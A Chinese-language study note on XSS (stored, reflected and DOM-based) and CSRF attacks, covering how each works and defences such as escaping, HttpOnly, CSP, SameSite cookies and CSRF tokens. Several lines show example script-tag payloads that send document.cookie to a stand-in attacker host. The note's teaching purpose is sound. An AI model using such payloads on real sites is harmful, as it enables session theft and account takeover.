XSS和Csrf【笔记】

206 阅读5分钟

XSS

XSS 全称是 Cross Site Scripting,为了与“CSS”区分开来,故简称 XSS,翻译过来就是“跨站脚本”。XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。

XSS能做什么

  1. 窃取用户cookie
  2. 可以使用addEventListener监听用户行为
  3. 可以通过修改DOM伪造登录接口骗取密码
  4. 生成浮窗广告

XSS的类型

存储型

存储型的XSS攻击的步骤例如:

  • 黑客发现某网站有存储型XSS漏洞(例如某站修改用户名时不会进行过滤)
  • 黑客把用户名修改成<script src="http://attact.com?cookie=document.cookie" />,并提交到该网站服务器
  • 其他用户打开页面,这个页面包含黑客上传的那个名字
  • 本来应该是名字的地方变成了一段脚本声明,浏览器下载并执行了它
  • 这段脚本中获取了用户的cookie并上传到黑客的服务器
  • 黑客利用cookie在其他地方登陆并实行转账等操作

存储型XSS因为把恶意代码存储在用户服务器,一般影响范围大、持续时间长,所以危害最大。

反射型

反射型XSS是最普通的XSS漏洞,攻击步骤例如:

  • 黑客发现某网站有反射型XSS漏洞(例如提交一条弹幕后,这段弹幕会显示在页面上,并且没有任何过滤)
  • 黑客提交评论<script src="http://attact.com" />
  • 改提交行为通过接口http://xxx.com/comment?content="<script src="http://attact.com?cookie=document.cookie" />"上传
  • 本来应该展示弹幕的地方变成了一段脚本声明,浏览器下载并执行了它
  • 这段脚本中获取了用户的cookie并上传到黑客的服务器
  • 黑客利用cookie在其他地方登陆并实行转账等操作

DOM型

DOM型XSS是不经过服务器,而是在客户端执行发生的攻击行为,攻击步骤例如:

  • 黑客发现DOM型XSS漏洞(例如代码中获取location.hash的内容,并通过innerHTML写到页面上)
  • 黑客访问网站http:xxx.com#<script src="http://attact.com?cookie?cookie=document.cookie" />
  • 本来应该展示hash内容的地方变成了一段脚本声明,浏览器下载并执行了它
  • 这段脚本中获取了用户的cookie并上传到黑客的服务器
  • 黑客利用cookie在其他地方登陆并实行转账等操作

XSS的防范

可以看出上面的三种XSS攻击类型前两种是需要借助服务端的,而第三种是纯前端的攻击。那么从服务端和前端的角度分别看下有哪些防范措施:

服务端(以node为例)

  • 模版引擎(node端ejs)自带的HTML转译功能,一般都是默认开启
  • 对一切客户端的提交进行校验,如使用xss库
  • 对cookie使用HttpOnly

客户端

  • 使用CSP
  • 格外注意DOM型XSS,尤其是使用这些api的时候(innerHTML、outerHTML、document.write、location、各种事件的监听 ),a标签的 href 属性和JavaScript的eval、setTimeout等有能力把字符串作为代码执行
  • 使用React/Vue等专业的渲染框架,注意React中的dangerouslySetInnerHTML和Vue中的v-html是跳过安全检测的Api

CSRF

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

产生原因

Csrf上面的攻击方式之所以能够发生是网站对于用户标识cookie的信任,能够攻击成功的基础是:

  • 目标网站必须有CSRF漏洞
  • 用户必须登录
  • 黑客必须通过第三方站点进行攻击(也就是说必须诱导用户点击)

攻击方式

  • 黑客发现某网站(网站a)的转账接口(简称接口a)有CSRF漏洞
  • 黑客准备了一个用来实施CSRF攻击的网站(网站b),打开这个链接的时候会自动向接口a发送请求
  • 用户登录了网站a进行浏览
  • 黑客通过一些手段引诱用户点击网站b的链接(比如在网站a的评论里留下了网站b的链接)
  • 用户跳转到网站b,网站b自动请求接口a,浏览器自动携带了网站a的cookie

防御手段

  1. 使用cookie的SameSite属性

    SameSite的值包含三个:

    • None:Cookie将在所有上下文中发送,即允许跨域发送(最初默认值是它,新版浏览器为了提升对CSRF的防御能力改为了Lax)
    • Lax:Cookies允许与顶级导航一起发送,并将与第三方网站发起的GET请求一起发送
    • Stict:Cookies只会在第一方上下文中发送,不会与第三方网站发起的请求一起发送
  2. 利用HTTP头Origin和Referer

    服务器端可以在接口中验证Origin和Referer来判断请求的来源,从而确定是否对本次请求信任。Origin只包含域名信息,而Referer包含域名和path

  3. 利用CSRF Token

在CSRF中Cookie的两个特点被利用了,一是浏览器会自动携带它,二是Cookie是静态的。采用CSRF Token后这两个问题都可以避免。

CSRF Token可以是服务端随机生成的一个字符串,随每次请求下发,下次请求都需要携带这个字符串作为凭证,而第三方站点无法获取到这个字符串。